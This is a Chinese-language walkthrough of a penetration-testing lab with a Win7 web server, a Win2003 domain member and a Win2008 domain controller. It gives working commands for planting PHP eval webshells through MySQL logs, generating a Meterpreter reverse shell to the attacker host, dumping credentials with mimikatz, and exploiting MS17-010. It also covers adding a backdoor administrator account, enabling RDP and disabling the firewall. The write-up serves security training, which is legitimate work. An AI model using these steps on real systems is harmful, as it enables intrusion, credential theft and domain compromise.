拓扑图:虚拟机所有统一密码:hongrisec@2019kali:192.168.226.129
win2003:192.168.52.141
win2008:192.168.52.138
win7:外网:192.168.226.136 内网:192.168.52.143
环境搭建
网络配置
win7网络适配器设置为自定义(VMnet1仅主机模式),再添加一个网络适配器设置为NAT模式
Windows2003、Windows Server 2008网络适配器设置为自定义(VMnet1仅主机模式);
攻击机kali设置为NAT模式;
此时Win7、Windows2003、Windows Server 2008处于同一内网中,攻击机kali只能先拿下win7,再通过win7访问内网进行横向渗透
配置好后在win7 ping一下kali和win03 win08
开启win7的phpstudy
外网打点
信息收集1
主机发现
端口探测
访问80端口,是一个php探针页面,可以看到网站根目录绝对路径是C:/phpStudy/WWW以及管理员邮箱等
目录扫描,有phpmyadmin(这里我用的是dirsearch,御剑可以扫出一个备份文件,打开是一个cms,另一种getshell的思路)
通过phpmyadmin getshell
root/root弱口令(贴一张网上的图,可以用脚本爆破账号密码)
尝试用sql语句写文件,结果因为MySQL服务器使用–secure file priv选项运行,无法执行此语句
执行show variables like ‘%general%’;查看日志状态,尝试通过日志文件来写shell
开启日志功能set global general_log=on;日志功能是关闭的,开启后,执行过的sql语句都会保存到stu1.log,我们可以修改保存路径,存到我们指定的文件中
修改日志保存路径为C:/phpStudy/WWW/shell.php:set global general_log_file=‘C:/phpStudy/WWW/shell.php’
写入一句话木马SELECT ‘<?php eval($_POST["cmd"]);?>’
还可以通过慢日志查询写入webshell
set global slow_query_log=1;#启用慢查询日志(默认禁用)
set global slow_query_log_file='C: // phpStudy //wlW/ /slow_log.php';
select @@long_query_time;#慢查询时间值
select '<?php @eval($_POST[pass]); ?>' or sleep( 11);
蚁剑连接
信息收集->whoami->管理员账号
ipconfig发现还有另一个网段,可知内网网段为192.168.52.x
net config Workstation查看当前计算机名称,全名,用户名,以及所在的工作站域等信息
net localgroup administrators查看本地管理员,发现还有另一台用户
systeminfo查看系统信息,可以确定当前域为god.org,域服务器名称为OWA,并且还打了四个补丁
反弹shell
由于win7启动了安全模式,所以无法直接反弹shell到kali上;
通过msf生成一个木马msf.exe到win7上
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -f exe -o msf.exe
通过蚁剑上传
exploit/multi/handler模块开启msf监听
getuid查看当前权限,然后getsystem提为system权限
netstat查看端口开放情况
执行run post/windows/manage/enable_rdp开启3389端口
rdesktop 192.168.226.136远程桌面连接
抓取密码
使用meterpreter中mimikatz模块获取密码,load mimikatz后,提示mimikatz被kiwi替代
creds_msv 获取密码hash值
creds_kerberos 获取密码明文
进入内网
信息收集2
run post/windows/gather/enum_applications查看win7上安装了哪些软件
arp -a查看路由表,可以看到另一个网段192.168.52.0/24
run autoroute -s 192.168.52.0/24添加路由
run autoroute -p查看路由
设置代理,方便访问内网服务
use auxiliary/server/socks4a
set srvhost 192.168.226.129
set srvport 1080
run
修改vim /etc/proxychains.conf的最后一行为socks4 192.168.226.129 1080 这里如果proxychains.conf为空,可以把proxychains4.conf重命名,或者将proxychains4.conf的内容复制到proxychains.conf
扫描开放端口
可以看到两台主机都开了135、445端口,说明都有SMB服务
域成员
使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows2003版本
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run
验证发现存在永恒之蓝漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
set command net user test 123456 /add添加用户;
set command net localgroup administrators test /add添加管理员权限;
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’执行命令开启3389端口,这里要么用单引号把命令引住,要么用反斜杠对反斜杠和引号进行转义,否则会出错;
proxychains rdesktop 192.168.52.141远程桌面连接成功,可以用添加的用户进行登录
使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell(忘记截图)
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
接下来就可以和前面一样getsystem进行提权,这样域成员就已经拿下了
拿域控
因为192.168.52.138这台主机也同样开了135,445端口,所以同样使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows server 2008版本
接下来和拿2003主机一样的操作,依然可以用auxiliary/admin/smb/ms17_010_command模块执行命令;
开启3389端口:set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’;
但是连接超时,可能是因为开启了防火墙,执行命令set command netsh firewall set opmode mode=disable关闭防火墙
成功连接,可以用前面抓取到的管理员账号密码登录
照样用exploit/windows/smb/ms17_010_psexec反弹一个shell
渗透结束
思路总结
从web服务器寻找可以getshell的利用点,win7上有phpmyadmin目录,并且是默认密码可以登录;
利用日志文件写入一句话,菜刀连接,收集有用信息;
msf反弹shell,提权,抓取密码,arp发现内网;
添加路由,设置代理,访问内网资源;
扫描开放端口,利用445端口SMB服务,ms17_010对域成员和域控主机进行攻击;
关闭防火墙,开启3389,反弹shell